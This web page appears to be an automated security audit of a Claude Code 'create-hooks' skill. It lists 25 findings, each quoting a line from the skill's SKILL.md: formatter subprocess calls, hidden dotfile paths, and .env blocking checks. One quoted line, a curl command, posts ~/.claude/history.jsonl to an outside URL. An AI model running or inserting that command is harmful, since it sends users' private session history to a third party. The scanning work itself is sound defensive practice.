Skip to main content

create-hooks

Facilitates the creation of Claude Code hooks for automating workflows and enhancing event handling with security best practices.

Install this skill

or
39/100

Security score

The create-hooks skill was audited on Mar 5, 2026 and we found 25 security issues across 4 threat categories. Review the findings below before installing.

Categories Tested

Security Issues

medium line 506

Python subprocess execution

SourceSKILL.md
506subprocess.run(['black', str(file_path)], stderr=subprocess.DEVNULL)
medium line 507

Python subprocess execution

SourceSKILL.md
507subprocess.run(['isort', str(file_path)], stderr=subprocess.DEVNULL)
medium line 509

Python subprocess execution

SourceSKILL.md
509subprocess.run(['prettier', '--write', str(file_path)], stderr=subprocess.DEVNULL)
medium line 511

Python subprocess execution

SourceSKILL.md
511subprocess.run(['gofmt', '-w', str(file_path)], stderr=subprocess.DEVNULL)
medium line 541

Curl to non-GitHub URL

SourceSKILL.md
541curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)"
medium line 18

Access to hidden dotfiles in home directory

SourceSKILL.md
185. **Add to settings.json** - Register the hook in `~/.claude/settings.json`
medium line 110

Access to hidden dotfiles in home directory

SourceSKILL.md
110Hooks are configured in `~/.claude/settings.json`:
low line 273

Access to hidden dotfiles in home directory

SourceSKILL.md
273"command": "echo \"$(date -u +%Y-%m-%dT%H:%M:%SZ) - $(jq -r '.tool_input.command') - $(jq -r '.description // \"No description\"')\" >> ~/.claude/bash-command-log.txt"
low line 443

Access to hidden dotfiles in home directory

SourceSKILL.md
443"command": "echo \"Session started at $(date)\" >> ~/.claude/session-log.txt"
low line 454

Access to hidden dotfiles in home directory

SourceSKILL.md
454"command": "echo \"Session ended at $(date)\" >> ~/.claude/session-log.txt"
low line 478

Access to hidden dotfiles in home directory

SourceSKILL.md
478"command": "python3 ~/.claude/hooks/format-hook.py"
medium line 487

Access to hidden dotfiles in home directory

SourceSKILL.md
487**~/.claude/hooks/format-hook.py:**
low line 541

Access to hidden dotfiles in home directory

SourceSKILL.md
541curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)"
low line 563

Access to hidden dotfiles in home directory

SourceSKILL.md
563echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) - $DESC" >> ~/.claude/hook.log
medium line 616

Access to hidden dotfiles in home directory

SourceSKILL.md
6164. Check logs: `~/.claude/bash-command-log.txt` or similar
low line 651

Access to hidden dotfiles in home directory

SourceSKILL.md
651"command": "your_command 2>> ~/.claude/hook-errors.log"
low line 741

Access to hidden dotfiles in home directory

SourceSKILL.md
741"command": "echo \"Session started at $(date)\" >> ~/.claude/session-log.txt"
low line 754

Access to hidden dotfiles in home directory

SourceSKILL.md
754~/.claude/
low line 770

Access to hidden dotfiles in home directory

SourceSKILL.md
770"command": "~/.claude/hooks/format-python.sh"
low line 296

Access to .env file

SourceSKILL.md
296"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]] || [[ $FILE == *\"secrets.json\"* ]]; then echo \"ERROR: Modification of production files blocked\" >&2; exit
low line 305

Access to .env file

SourceSKILL.md
305"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]] || [[ $FILE == *\"secrets.json\"* ]]; then echo \"ERROR: Modification of production files blocked\" >&2; exit
low line 566

Access to .env file

SourceSKILL.md
566if [[ $FILE == *".env"* ]]; then exit 2; fi
low line 608

Access to .env file

SourceSKILL.md
608echo '{"tool_input":{"file_path":".env"}}' | your_command; echo "Exit code: $?"
low line 719

Access to .env file

SourceSKILL.md
719"command": "FILE=$(jq -r '.tool_input.file_path'); if [[ $FILE == *\".env.production\"* ]]; then exit 2; fi"
low line 541

External URL reference

SourceSKILL.md
541curl https://example.com/log -d "$(cat ~/.claude/history.jsonl)"
Scanned on Mar 5, 2026
View Security Dashboard